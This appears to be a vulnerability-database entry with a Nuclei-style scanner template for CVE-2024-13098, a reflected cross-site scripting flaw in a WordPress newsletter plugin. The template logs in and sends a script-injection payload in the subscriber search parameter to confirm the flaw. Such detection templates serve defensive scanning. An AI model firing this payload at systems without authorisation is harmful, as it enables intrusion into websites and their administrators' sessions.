WordPress Email Newsletter - Reflected XSS
CVE-2024-13098
Verified
Description
WordPress Email Newsletter plugin through 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
Severity
Medium
CVSS Score
5.4
Exploit Probability
3%
Affected Product
wordpress_email_newsletter
Published Date
February 7, 2026
Template Author
sourabh-sahu
CVE-2024-13098.yaml
id: CVE-2024-13098
info:
name: WordPress Email Newsletter - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
WordPress Email Newsletter plugin through 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
remediation: |
Update to the latest version of the plugin where the issue is fixed.
reference:
- https://wpscan.com/vulnerability/eac71f70-993e-4353-8550-affb24c61c02/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-13098
cwe-id: CWE-79
epss-score: 0.03097
epss-percentile: 0.86957
cpe: cpe:2.3:a:megamindstechnologies:wordpress_email_newsletter:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: megamindstechnologies
product: wordpress_email_newsletter
publicwww-query: "/plugins/wp-email-newsletter/"
tags: cve,cve2024,megamindstechnologies,wordpress-email-newsletter,wordpress,wp,wp-plugin,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=view-subscriber&search=ds"><script>alert(document.domain)</script>` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "><script>alert(document.domain)</script>`","wp-email-newsletter")
condition: and
# digest: 4b0a00483046022100bbd15ab525d67b4079072b03accede23cbb68016eaa07b3199acf24ff736fabb022100b8b77df5a2bde34d385caacf2f1f2aedf3889fc8efe76d8378e8c10597f4d6bf:922c64590222798bb761d5b6d8e729505.4Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
CVE ID:
cve-2024-13098
CWE ID:
cwe-79
Remediation Steps
Update to the latest version of the plugin where the issue is fixed.